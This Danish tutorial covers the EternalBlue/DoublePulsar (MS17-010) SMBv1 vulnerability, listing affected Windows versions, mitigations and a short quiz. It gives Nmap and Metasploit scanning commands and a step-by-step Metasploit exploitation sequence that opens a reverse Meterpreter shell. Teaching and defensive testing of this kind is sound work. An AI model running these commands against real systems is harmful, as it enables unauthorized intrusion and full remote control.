Teknisk Gennemgang: EternalBlue & DoublePulsar (MS17-010)
EternalBlue er et af de mest berygtede exploits i nyere tid. Det blev oprindeligt udviklet af NSA (National Security Agency) og lækket af hackergruppen Shadow Brokers i april 2017. Kort efter blev det brugt som motoren i de globale WannaCry- og NotPetya-angreb.
Hvad er EternalBlue?
Teknisk set udnytter EternalBlue en sårbarhed i Microsofts implementering af SMBv1 (Server Message Block) protokollen. Sårbarheden findes i måden, hvorpå Windows håndterer specielt udformede pakker, hvilket fører til et buffer overflow i hukommelsen (non-paged pool).
Dette giver en angriber mulighed for at køre vilkårlig kode med SYSTEM-rettigheder (Remote Code Execution - RCE) uden at have nogen form for login-oplysninger.
Hvad er DoublePulsar?
Mens EternalBlue er selve “nøglen”, der åbner døren, er DoublePulsar den backdoor (implant), der bliver installeret i hukommelsen efter indtrængen. DoublePulsar gør det muligt for angriberen at sende yderligere payloads (f.eks. en Meterpreter shell) til målet på en meget diskret måde, da den kører udelukkende i RAM og ikke efterlader filer på disken.
Hvilke mål er sårbare?
EternalBlue rammer primært ældre Windows-systemer, hvor SMBv1 er aktiveret, og hvor sikkerhedsopdateringen MS17-010 ikke er installeret.
Typiske sårbare systemer:
- Windows XP (alle versioner)
- Windows 7 (alle versioner)
- Windows 8.1
- Windows Server 2003 & 2008
- Windows Server 2012
Selvom nyere systemer som Windows 10 oprindeligt var sårbare, er de fleste i dag patchede, men sårbarheden findes stadig ofte i legacy-miljøer og OT-netværk.
Scanning: Er målet sårbart?
Før man forsøger at exploite, skal man altid verificere sårbarheden. Dette kan gøres effektivt med Nmap eller Metasploit.
1. Nmap Scanning
Nmap har et dedikeret script til at tjekke for MS17-010:
nmap -p 445 --script smb-vuln-ms17-010 <target-ip>
Hvis outputtet viser State: VULNERABLE, er målet åbent for angreb.
2. Metasploit Scanner
I Metasploit kan du bruge check-modulet:
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS <target-ip>
run
Anvendelse af Exploitet
I et kontrolleret miljø (f.eks. Kali Linux) er Metasploit den mest almindelige måde at anvende EternalBlue på.
Proces:
- Start Metasploit:
msfconsole - Vælg exploit:
use exploit/windows/smb/ms17_010_eternalblue - Sæt mål-IP:
set RHOST <target-ip> - Vælg payload (f.eks. en reverse shell):
set payload windows/x64/meterpreter/reverse_tcp - Sæt din egen IP:
set LHOST <din-ip> - Kør angrebet:
exploit
Hvis det lykkes, får du en Meterpreter-session med fuld kontrol over systemet.
MITRE ATT&CK Referencer
- T1210 - Exploitation of Remote Services: Udnyttelse af SMB-sårbarheden til indledende adgang.
- T1543.003 - Create or Modify System Process: Windows Service: EternalBlue kører kode i konteksten af en systemtjeneste.
- T1021.002 - Remote Services: SMB/Windows Admin Shares: Udnyttelse af SMB-protokollen til lateral bevægelse.
Forsvar og Mitigering
Den bedste beskyttelse mod EternalBlue er simpel:
- Installer patches: Sørg for at MS17-010 er installeret på alle maskiner.
- Deaktiver SMBv1: Microsoft anbefaler kraftigt at deaktivere SMBv1 helt, da det er en forældet og usikker protokol.
- Netværkssegmentering: Begræns adgangen til port 445 via firewalls, så kun nødvendige maskiner kan kommunikere via SMB.
Denne artikel er til uddannelsesmæssige formål og bør kun anvendes på systemer, du har tilladelse til at teste.
Kilder
- Microsoft MSRC: Security Bulletin MS17-010 - Microsofts officielle sikkerhedsbulletin med patchen til SMBv1-sårbarhederne der muliggjorde EternalBlue.
- Microsoft Security Blog: WannaCrypt Ransomware - Microsofts officielle analyse af WannaCry-angrebet, der anvendte EternalBlue som primær spredningsvektor.
- Rapid7 Metasploit: ms17_010_eternalblue Module - Teknisk dokumentation af exploit-modulet i Metasploit Framework med forklaring af CVSS-score og påvirkede systemer.
- CISA: SMB Security Best Practices - CISA’s officielle anbefalinger om deaktivering af SMBv1 og hardening af SMB-tjenester.
> Quiz: Test din viden
1. Hvilken protokol udnytter EternalBlue en buffer overflow i?
2. Hvad er DoublePulsar?
3. Hvad hedder sårbarhedsnummeret for EternalBlue?
4. Hvilke rettigheder giver EternalBlue angriberen på det kompromitterede system?